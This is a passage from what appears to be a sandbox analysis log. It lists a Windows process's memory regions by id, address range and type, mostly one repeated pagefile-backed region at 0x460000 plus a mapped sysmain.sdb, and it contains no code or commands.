1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10350 start_va = 0x8fd0000 end_va = 0x90c5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 10351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10352 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10353 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 10354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10358 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10375 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10378 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10379 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10382 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10383 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10386 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10390 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10391 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10393 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10394 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10395 start_va = 0x7df5ffb10000 end_va = 0x7df5ffeb0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 10412 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10415 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10416 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10419 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10420 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10423 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10424 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10426 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10428 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10429 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10432 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10433 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10436 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10437 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10438 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10440 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10441 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10444 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10445 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10448 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10452 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10453 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10454 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10455 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10456 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10457 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10458 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10459 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10460 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10461 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10462 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10463 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10464 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10465 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10466 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10467 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10468 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10469 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10470 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10471 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10472 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10473 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10474 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10475 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10476 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10477 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10478 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10479 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10480 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10481 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10482 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10483 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 10484 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002270000" filename = "" Region: id = 10485 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10486 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10487 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10488 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10489 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10490 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10491 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10492 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10493 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10494 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10495 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10496 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10497 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10498 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10499 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10500 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10501 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10502 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10503 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10504 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10505 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10506 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10507 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10508 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10509 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10510 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10511 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10512 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10513 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10514 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10515 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10516 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10517 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10518 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10519 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10520 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10521 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10522 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10523 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10524 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10525 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10526 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10527 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10528 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10529 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10530 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10531 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10532 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10533 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10534 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10535 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10536 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10537 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10538 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10539 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10540 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10541 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10542 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10543 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10544 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10545 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10546 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10547 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 10548 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = 